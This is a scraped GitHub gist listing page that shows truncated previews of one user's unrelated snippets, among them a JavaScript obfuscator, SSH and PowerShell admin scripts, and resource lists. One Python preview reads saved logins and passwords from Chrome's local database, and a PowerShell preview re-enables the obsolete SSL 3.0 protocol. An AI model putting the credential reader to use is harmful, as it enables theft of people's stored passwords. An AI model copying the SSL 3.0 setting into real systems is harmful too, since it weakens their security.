Skip to content

Instantly share code, notes, and snippets.

View opexxx's full-sized avatar

Alexander Knorr opexxx

View GitHub Profile
@opexxx
opexxx / aaencode.cxx
Created December 26, 2011 22:53 — forked from mattn/aaencode.cxx
C++版aaencode/jjencode
// MSVC: cl /wd4819 /EHsc aaencode.cxx
// gcc: g++ -o aaencode aaencode.cxx
//
// usage: aaencode < foo.js # jjencode
// aaencode -aa < foo.js # aaencode
#include <sstream>
#include <iostream>
#include <string>
require 'net/ssh'
host = "the.host"
user = "joe"
su_user = "bob"
password = "password"
commands = ["cd /", "pwd", "ls -l", "exit"]
finished = ("%08x" * 8) % Array.new(8) { rand(0xFFFFFFFF) }
from os import getenv
import sqlite3
import win32crypt
# Connect to the Database
conn = sqlite3.connect(getenv("APPDATA") + "\..\Local\Google\Chrome\User Data\Default\Login Data")
cursor = conn.cursor()
# Get the results
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():
@opexxx
opexxx / 0_reuse_code.js
Created June 4, 2014 06:15
Here are some things you can do with Gists in GistBox.
// Use Gists to store code you would like to remember later on
console.log(window); // log the "window" object to the console
@opexxx
opexxx / python_resources.md
Created June 4, 2014 06:22 — forked from jookyboi/python_resources.md
Python-related modules and guides.

Packages

  • lxml - Pythonic binding for the C libraries libxml2 and libxslt.
  • boto - Python interface to Amazon Web Services
  • Django - Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design.
  • Fabric - Library and command-line tool for streamlining the use of SSH for application deployment or systems administration task.
  • PyMongo - Tools for working with MongoDB, and is the recommended way to work with MongoDB from Python.
  • Celery - Task queue to distribute work across threads or machines.
  • pytz - pytz brings the Olson tz database into Python. This library allows accurate and cross platform timezone calculations using Python 2.4 or higher.

Guides

@opexxx
opexxx / rails_resources.md
Created June 4, 2014 06:22 — forked from jookyboi/rails_resources.md
Rails-related Gems and guides to accelerate your web project.

Gems

  • Bundler - Bundler maintains a consistent environment for ruby applications. It tracks an application's code and the rubygems it needs to run, so that an application will always have the exact gems (and versions) that it needs to run.
  • rabl - General ruby templating with json, bson, xml, plist and msgpack support
  • Thin - Very fast and lightweight Ruby web server
  • Unicorn - Unicorn is an HTTP server for Rack applications designed to only serve fast clients on low-latency, high-bandwidth connections and take advantage of features in Unix/Unix-like kernels.
  • SimpleCov - SimpleCov is a code coverage analysis tool for Ruby 1.9.
  • Zeus - Zeus preloads your Rails app so that your normal development tasks such as console, server, generate, and specs/tests take less than one second.
  • [factory_girl](h
### http://www.hass.de/content/setup-your-iis-ssl-perfect-forward-secrecy-and-tls-12
# Add and Enable SSL 3.0 for client and server SCHANNEL communications
md 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 3.0' -Force
md 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 3.0\Server' -Force
New-ItemProperty -path 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 3.0\Server' -name 'Enabled' -value '0xffffffff' -PropertyType 'DWord' -Force
New-ItemProperty -path 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 3.0\Server' -name 'DisabledByDefault' -value 0 -PropertyType 'DWord' -Force
# Add and Enable TLS 1.0 for client and server SCHANNEL communications
md 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.0' -Force
$servers = Get-Content C:\servers.txt
foreach($server in $servers)
{
if( Get-Service -ComputerName $server -Name "Sophos Message Router" -ErrorAction SilentlyContinue)
{
sc.exe \\$server stop "Sophos Message Router" | Out-Null
sleep 5
sc.exe \\$server start "Sophos Message Router" | Out-Null
# Clear console screen
clear
# Setup trap to catch exceptions
trap [Exception] {
Write-Error $("Trapped: " + $_.Exception.Message);
}
# Read computers from the text file
$computers = Get-Content 'C:\servers.txt';
@opexxx
opexxx / vhd2raw.cmd
Created April 30, 2015 12:45 — forked from mwchambers/gist:1319382
convert VHD file to RAW Image
qemu-img convert -O raw source.vhd output.raw